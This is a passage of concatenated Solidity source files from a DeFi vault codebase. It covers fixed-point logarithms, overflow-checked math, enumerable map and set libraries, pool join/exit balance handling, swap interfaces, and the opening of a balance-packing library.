* @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument argument.
*/
function log(int256 arg, int256 base) internal pure returns (int256) {
// This performs a simple base change: log(arg, base) = ln(arg) / ln(base).
// Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by
// upscaling.
int256 logBase;
if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) {
logBase = ln_36(base);
} else {
logBase = ln(base) * ONE_18;
}
int256 logArg;
if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) {
logArg = ln_36(arg);
} else {
logArg = ln(arg) * ONE_18;
}
// When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places
return (logArg * ONE_18) / logBase;
}
/**
* @dev High precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument,
* for x close to one.
*
* Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND.
*/
function ln_36(int256 x) private pure returns (int256) {
// Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits
// worthwhile.
// First, we transform x to a 36 digit fixed point value.
x *= ONE_18;
// We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1).
// ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires
// division by ONE_36.
int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36);
int256 z_squared = (z * z) / ONE_36;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_36;
seriesSum += num / 3;
num = (num * z_squared) / ONE_36;
seriesSum += num / 5;
num = (num * z_squared) / ONE_36;
seriesSum += num / 7;
num = (num * z_squared) / ONE_36;
seriesSum += num / 9;
num = (num * z_squared) / ONE_36;
seriesSum += num / 11;
num = (num * z_squared) / ONE_36;
seriesSum += num / 13;
num = (num * z_squared) / ONE_36;
seriesSum += num / 15;
// 8 Taylor terms are sufficient for 36 decimal precision.
// All that remains is multiplying by 2 (non fixed point).
return seriesSum * 2;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow checks.
* Adapted from OpenZeppelin's SafeMath library
*/
library Math {
/**
* @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
_require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
_require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW);
return c;
}
/**
* @dev Returns the largest of two numbers of 256 bits.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers of 256 bits.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
_require(a == 0 || c / a == b, Errors.MUL_OVERFLOW);
return c;
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
return a / b;
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
return 1 + (a - 1) / b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// Based on the EnumerableMap library from OpenZeppelin contracts, altered to include the following:
// * a map from IERC20 to bytes32
// * entries are stored in mappings instead of arrays, reducing implicit storage reads for out-of-bounds checks
// * unchecked_at and unchecked_valueAt, which allow for more gas efficient data reads in some scenarios
// * unchecked_indexOf and unchecked_setAt, which allow for more gas efficient data writes in some scenarios
//
// Additionally, the base private functions that work on bytes32 were removed and replaced with a native implementation
// for IERC20 keys, to reduce bytecode size and runtime costs.
// We're using non-standard casing for the unchecked functions to differentiate them, so we need to turn off that rule
// solhint-disable func-name-mixedcase
import "./IERC20.sol";
import "../helpers/BalancerErrors.sol";
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*/
library EnumerableMap {
// The original OpenZeppelin implementation uses a generic Map type with bytes32 keys: this was replaced with
// IERC20ToBytes32Map, which uses IERC20 keys natively, resulting in more dense bytecode.
struct IERC20ToBytes32MapEntry {
IERC20 _key;
bytes32 _value;
}
struct IERC20ToBytes32Map {
// Number of entries in the map
uint256 _length;
// Storage of map keys and values
mapping(uint256 => IERC20ToBytes32MapEntry) _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping(IERC20 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(
IERC20ToBytes32Map storage map,
IERC20 key,
bytes32 value
) internal returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
// Equivalent to !contains(map, key)
if (keyIndex == 0) {
uint256 previousLength = map._length;
map._entries[previousLength] = IERC20ToBytes32MapEntry({ _key: key, _value: value });
map._length = previousLength + 1;
// The entry is stored at previousLength, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = previousLength + 1;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Updates the value for an entry, given its key's index. The key index can be retrieved via
* {unchecked_indexOf}, and it should be noted that key indices may change when calling {set} or {remove}. O(1).
*
* This function performs one less storage read than {set}, but it should only be used when `index` is known to be
* within bounds.
*/
function unchecked_setAt(
IERC20ToBytes32Map storage map,
uint256 index,
bytes32 value
) internal {
map._entries[index]._value = value;
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(IERC20ToBytes32Map storage map, IERC20 key) internal returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
// Equivalent to contains(map, key)
if (keyIndex != 0) {
// To delete a key-value pair from the _entries pseudo-array in O(1), we swap the entry to delete with the
// one at the highest index, and then remove this last entry (sometimes called as 'swap and pop').
// This modifies the order of the pseudo-array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
IERC20ToBytes32MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
delete map._entries[lastIndex];
map._length = lastIndex;
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(IERC20ToBytes32Map storage map, IERC20 key) internal view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function length(IERC20ToBytes32Map storage map) internal view returns (uint256) {
return map._length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(IERC20ToBytes32Map storage map, uint256 index) internal view returns (IERC20, bytes32) {
_require(map._length > index, Errors.OUT_OF_BOUNDS);
return unchecked_at(map, index);
}
/**
* @dev Same as {at}, except this doesn't revert if `index` it outside of the map (i.e. if it is equal or larger
* than {length}). O(1).
*
* This function performs one less storage read than {at}, but should only be used when `index` is known to be
* within bounds.
*/
function unchecked_at(IERC20ToBytes32Map storage map, uint256 index) internal view returns (IERC20, bytes32) {
IERC20ToBytes32MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Same as {unchecked_At}, except it only returns the value and not the key (performing one less storage
* read). O(1).
*/
function unchecked_valueAt(IERC20ToBytes32Map storage map, uint256 index) internal view returns (bytes32) {
return map._entries[index]._value;
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map. Reverts with `errorCode` otherwise.
*/
function get(
IERC20ToBytes32Map storage map,
IERC20 key,
uint256 errorCode
) internal view returns (bytes32) {
uint256 index = map._indexes[key];
_require(index > 0, errorCode);
return unchecked_valueAt(map, index - 1);
}
/**
* @dev Returns the index for `key` **plus one**. Does not revert if the key is not in the map, and returns 0
* instead.
*/
function unchecked_indexOf(IERC20ToBytes32Map storage map, IERC20 key) internal view returns (uint256) {
return map._indexes[key];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
// Based on the EnumerableSet library from OpenZeppelin contracts, altered to remove the base private functions that
// work on bytes32, replacing them with a native implementation for address values, to reduce bytecode size and runtime
// costs.
// The `unchecked_at` function was also added, which allows for more gas efficient data reads in some scenarios.
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// The original OpenZeppelin implementation uses a generic Set type with bytes32 values: this was replaced with
// AddressSet, which uses address keys natively, resulting in more dense bytecode.
struct AddressSet {
// Storage of set values
address[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(address => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
if (!contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
address lastValue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastValue;
// Update the index for the moved value
set._indexes[lastValue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
_require(set._values.length > index, Errors.OUT_OF_BOUNDS);
return unchecked_at(set, index);
}
/**
* @dev Same as {at}, except this doesn't revert if `index` it outside of the set (i.e. if it is equal or larger
* than {length}). O(1).
*
* This function performs one less storage read than {at}, but should only be used when `index` is known to be
* within bounds.
*/
function unchecked_at(AddressSet storage set, uint256 index) internal view returns (address) {
return set._values[index];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
_require(value < 2**255, Errors.SAFE_CAST_VALUE_CANT_FIT_INT256);
return int256(value);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/math/Math.sol";
import "../lib/helpers/BalancerErrors.sol";
import "../lib/helpers/InputHelpers.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./Fees.sol";
import "./PoolTokens.sol";
import "./UserBalance.sol";
import "./interfaces/IBasePool.sol";
/**
* @dev Stores the Asset Managers (by Pool and token), and implements the top level Asset Manager and Pool interfaces,
* such as registering and deregistering tokens, joining and exiting Pools, and informational functions like `getPool`
* and `getPoolTokens`, delegating to specialization-specific functions as needed.
*
* `managePoolBalance` handles all Asset Manager interactions.
*/
abstract contract PoolBalances is Fees, ReentrancyGuard, PoolTokens, UserBalance {
using Math for uint256;
using SafeERC20 for IERC20;
using BalanceAllocation for bytes32;
using BalanceAllocation for bytes32[];
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable override whenNotPaused {
// This function doesn't have the nonReentrant modifier: it is applied to `_joinOrExit` instead.
// Note that `recipient` is not actually payable in the context of a join - we cast it because we handle both
// joins and exits at once.
_joinOrExit(PoolBalanceChangeKind.JOIN, poolId, sender, payable(recipient), _toPoolBalanceChange(request));
}
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external override {
// This function doesn't have the nonReentrant modifier: it is applied to `_joinOrExit` instead.
_joinOrExit(PoolBalanceChangeKind.EXIT, poolId, sender, recipient, _toPoolBalanceChange(request));
}
// This has the exact same layout as JoinPoolRequest and ExitPoolRequest, except the `maxAmountsIn` and
// `minAmountsOut` are called `limits`. Internally we use this struct for both since these two functions are quite
// similar, but expose the others to callers for clarity.
struct PoolBalanceChange {
IAsset[] assets;
uint256[] limits;
bytes userData;
bool useInternalBalance;
}
/**
* @dev Converts a JoinPoolRequest into a PoolBalanceChange, with no runtime cost.
*/
function _toPoolBalanceChange(JoinPoolRequest memory request)
private
pure
returns (PoolBalanceChange memory change)
{
// solhint-disable-next-line no-inline-assembly
assembly {
change := request
}
}
/**
* @dev Converts an ExitPoolRequest into a PoolBalanceChange, with no runtime cost.
*/
function _toPoolBalanceChange(ExitPoolRequest memory request)
private
pure
returns (PoolBalanceChange memory change)
{
// solhint-disable-next-line no-inline-assembly
assembly {
change := request
}
}
/**
* @dev Implements both `joinPool` and `exitPool`, based on `kind`.
*/
function _joinOrExit(
PoolBalanceChangeKind kind,
bytes32 poolId,
address sender,
address payable recipient,
PoolBalanceChange memory change
) private nonReentrant withRegisteredPool(poolId) authenticateFor(sender) {
// This function uses a large number of stack variables (poolId, sender and recipient, balances, amounts, fees,
// etc.), which leads to 'stack too deep' issues. It relies on private functions with seemingly arbitrary
// interfaces to work around this limitation.
InputHelpers.ensureInputLengthMatch(change.assets.length, change.limits.length);
// We first check that the caller passed the Pool's registered tokens in the correct order, and retrieve the
// current balance for each.
IERC20[] memory tokens = _translateToIERC20(change.assets);
bytes32[] memory balances = _validateTokensAndGetBalances(poolId, tokens);
// The bulk of the work is done here: the corresponding Pool hook is called, its final balances are computed,
// assets are transferred, and fees are paid.
(
bytes32[] memory finalBalances,
uint256[] memory amountsInOrOut,
uint256[] memory paidProtocolSwapFeeAmounts
) = _callPoolBalanceChange(kind, poolId, sender, recipient, change, balances);
// All that remains is storing the new Pool balances.
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
_setTwoTokenPoolCashBalances(poolId, tokens[0], finalBalances[0], tokens[1], finalBalances[1]);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
_setMinimalSwapInfoPoolBalances(poolId, tokens, finalBalances);
} else {
// PoolSpecialization.GENERAL
_setGeneralPoolBalances(poolId, finalBalances);
}
bool positive = kind == PoolBalanceChangeKind.JOIN; // Amounts in are positive, out are negative
emit PoolBalanceChanged(
poolId,
sender,
tokens,
// We can unsafely cast to int256 because balances are actually stored as uint112
_unsafeCastToInt256(amountsInOrOut, positive),
paidProtocolSwapFeeAmounts
);
}
/**
* @dev Calls the corresponding Pool hook to get the amounts in/out plus protocol fee amounts, and performs the
* associated token transfers and fee payments, returning the Pool's final balances.
*/
function _callPoolBalanceChange(
PoolBalanceChangeKind kind,
bytes32 poolId,
address sender,
address payable recipient,
PoolBalanceChange memory change,
bytes32[] memory balances
)
private
returns (
bytes32[] memory finalBalances,
uint256[] memory amountsInOrOut,
uint256[] memory dueProtocolFeeAmounts
)
{
(uint256[] memory totalBalances, uint256 lastChangeBlock) = balances.totalsAndLastChangeBlock();
IBasePool pool = IBasePool(_getPoolAddress(poolId));
(amountsInOrOut, dueProtocolFeeAmounts) = kind == PoolBalanceChangeKind.JOIN
? pool.onJoinPool(
poolId,
sender,
recipient,
totalBalances,
lastChangeBlock,
_getProtocolSwapFeePercentage(),
change.userData
)
: pool.onExitPool(
poolId,
sender,
recipient,
totalBalances,
lastChangeBlock,
_getProtocolSwapFeePercentage(),
change.userData
);
InputHelpers.ensureInputLengthMatch(balances.length, amountsInOrOut.length, dueProtocolFeeAmounts.length);
// The Vault ignores the `recipient` in joins and the `sender` in exits: it is up to the Pool to keep track of
// their participation.
finalBalances = kind == PoolBalanceChangeKind.JOIN
? _processJoinPoolTransfers(sender, change, balances, amountsInOrOut, dueProtocolFeeAmounts)
: _processExitPoolTransfers(recipient, change, balances, amountsInOrOut, dueProtocolFeeAmounts);
}
/**
* @dev Transfers `amountsIn` from `sender`, checking that they are within their accepted limits, and pays
* accumulated protocol swap fees.
*
* Returns the Pool's final balances, which are the current balances plus `amountsIn` minus accumulated protocol
* swap fees.
*/
function _processJoinPoolTransfers(
address sender,
PoolBalanceChange memory change,
bytes32[] memory balances,
uint256[] memory amountsIn,
uint256[] memory dueProtocolFeeAmounts
) private returns (bytes32[] memory finalBalances) {
// We need to track how much of the received ETH was used and wrapped into WETH to return any excess.
uint256 wrappedEth = 0;
finalBalances = new bytes32[](balances.length);
for (uint256 i = 0; i < change.assets.length; ++i) {
uint256 amountIn = amountsIn[i];
_require(amountIn <= change.limits[i], Errors.JOIN_ABOVE_MAX);
// Receive assets from the sender - possibly from Internal Balance.
IAsset asset = change.assets[i];
_receiveAsset(asset, amountIn, sender, change.useInternalBalance);
if (_isETH(asset)) {
wrappedEth = wrappedEth.add(amountIn);
}
uint256 feeAmount = dueProtocolFeeAmounts[i];
_payFeeAmount(_translateToIERC20(asset), feeAmount);
// Compute the new Pool balances. Note that the fee amount might be larger than `amountIn`,
// resulting in an overall decrease of the Pool's balance for a token.
finalBalances[i] = (amountIn >= feeAmount) // This lets us skip checked arithmetic
? balances[i].increaseCash(amountIn - feeAmount)
: balances[i].decreaseCash(feeAmount - amountIn);
}
// Handle any used and remaining ETH.
_handleRemainingEth(wrappedEth);
}
/**
* @dev Transfers `amountsOut` to `recipient`, checking that they are within their accepted limits, and pays
* accumulated protocol swap fees from the Pool.
*
* Returns the Pool's final balances, which are the current `balances` minus `amountsOut` and fees paid
* (`dueProtocolFeeAmounts`).
*/
function _processExitPoolTransfers(
address payable recipient,
PoolBalanceChange memory change,
bytes32[] memory balances,
uint256[] memory amountsOut,
uint256[] memory dueProtocolFeeAmounts
) private returns (bytes32[] memory finalBalances) {
finalBalances = new bytes32[](balances.length);
for (uint256 i = 0; i < change.assets.length; ++i) {
uint256 amountOut = amountsOut[i];
_require(amountOut >= change.limits[i], Errors.EXIT_BELOW_MIN);
// Send tokens to the recipient - possibly to Internal Balance
IAsset asset = change.assets[i];
_sendAsset(asset, amountOut, recipient, change.useInternalBalance);
uint256 feeAmount = dueProtocolFeeAmounts[i];
_payFeeAmount(_translateToIERC20(asset), feeAmount);
// Compute the new Pool balances. A Pool's token balance always decreases after an exit (potentially by 0).
finalBalances[i] = balances[i].decreaseCash(amountOut.add(feeAmount));
}
}
/**
* @dev Returns the total balance for `poolId`'s `expectedTokens`.
*
* `expectedTokens` must exactly equal the token array returned by `getPoolTokens`: both arrays must have the same
* length, elements and order. Additionally, the Pool must have at least one registered token.
*/
function _validateTokensAndGetBalances(bytes32 poolId, IERC20[] memory expectedTokens)
private
view
returns (bytes32[] memory)
{
(IERC20[] memory actualTokens, bytes32[] memory balances) = _getPoolTokens(poolId);
InputHelpers.ensureInputLengthMatch(actualTokens.length, expectedTokens.length);
_require(actualTokens.length > 0, Errors.POOL_NO_TOKENS);
for (uint256 i = 0; i < actualTokens.length; ++i) {
_require(actualTokens[i] == expectedTokens[i], Errors.TOKENS_MISMATCH);
}
return balances;
}
/**
* @dev Casts an array of uint256 to int256, setting the sign of the result according to the `positive` flag,
* without checking whether the values fit in the signed 256 bit range.
*/
function _unsafeCastToInt256(uint256[] memory values, bool positive)
private
pure
returns (int256[] memory signedValues)
{
signedValues = new int256[](values.length);
for (uint256 i = 0; i < values.length; i++) {
signedValues[i] = positive ? int256(values[i]) : -int256(values[i]);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../../lib/openzeppelin/IERC20.sol";
import "./IVault.sol";
interface IPoolSwapStructs {
// This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and
// IMinimalSwapInfoPool.
//
// This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or
// 'given out') which indicates whether or not the amount sent by the pool is known.
//
// The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take
// in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`.
//
// All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in
// some Pools.
//
// `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than
// one Pool.
//
// The meaning of `lastChangeBlock` depends on the Pool specialization:
// - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total
// balance.
// - General: the last block in which *any* of the Pool's registered tokens changed its total balance.
//
// `from` is the origin address for the funds the Pool receives, and `to` is the destination address
// where the Pool sends the outgoing tokens.
//
// `userData` is extra data provided by the caller - typically a signature from a trusted party.
struct SwapRequest {
IVault.SwapKind kind;
IERC20 tokenIn;
IERC20 tokenOut;
uint256 amount;
// Misc data
bytes32 poolId;
uint256 lastChangeBlock;
address from;
address to;
bytes userData;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IBasePool.sol";
/**
* @dev IPools with the General specialization setting should implement this interface.
*
* This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool.
* Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will
* grant to the pool in a 'given out' swap.
*
* This can often be implemented by a `view` function, since many pricing algorithms don't need to track state
* changes in swaps. However, contracts implementing this in non-view functions should check that the caller is
* indeed the Vault.
*/
interface IGeneralPool is IBasePool {
function onSwap(
SwapRequest memory swapRequest,
uint256[] memory balances,
uint256 indexIn,
uint256 indexOut
) external returns (uint256 amount);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IBasePool.sol";
/**
* @dev Pool contracts with the MinimalSwapInfo or TwoToken specialization settings should implement this interface.
*
* This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool.
* Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will grant
* to the pool in a 'given out' swap.
*
* This can often be implemented by a `view` function, since many pricing algorithms don't need to track state
* changes in swaps. However, contracts implementing this in non-view functions should check that the caller is
* indeed the Vault.
*/
interface IMinimalSwapInfoPool is IBasePool {
function onSwap(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) external returns (uint256 amount);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../../lib/math/Math.sol";
// This library is used to create a data structure that represents a token's balance for a Pool. 'cash' is how many
// tokens the Pool has sitting inside of the Vault. 'managed' is how many tokens were withdrawn from the Vault by the
// Pool's Asset Manager. 'total' is the sum of these two, and represents the Pool's total token balance, including
// tokens that are *not* inside of the Vault.
//
// 'cash' is updated whenever tokens enter and exit the Vault, while 'managed' is only updated if the reason tokens are
// moving is due to an Asset Manager action. This is reflected in the different methods available: 'increaseCash'
// and 'decreaseCash' for swaps and add/remove liquidity events, and 'cashToManaged' and 'managedToCash' for events
// transferring funds to and from the Asset Manager.
//
// The Vault disallows the Pool's 'cash' from becoming negative. In other words, it can never use any tokens that are
// not inside the Vault.
//
// One of the goals of this library is to store the entire token balance in a single storage slot, which is why we use
// 112 bit unsigned integers for 'cash' and 'managed'. For consistency, we also disallow any combination of 'cash' and
// 'managed' that yields a 'total' that doesn't fit in 112 bits.
//
// The remaining 32 bits of the slot are used to store the most recent block when the total balance changed. This
// can be used to implement price oracles that are resilient to 'sandwich' attacks.
//
// We could use a Solidity struct to pack these three values together in a single storage slot, but unfortunately
// Solidity only allows for structs to live in either storage, calldata or memory. Because a memory struct still takes
// up a slot in the stack (to store its memory location), and because the entire balance fits in a single stack slot
// (two 112 bit values plus the 32 bit block), using memory is strictly less gas performant. Therefore, we do manual
// packing and unpacking.
//
// Since we cannot define new types, we rely on bytes32 to represent these values instead, as it doesn't have any
// associated arithmetic operations and therefore reduces the chance of misuse.
library BalanceAllocation {
using Math for uint256;
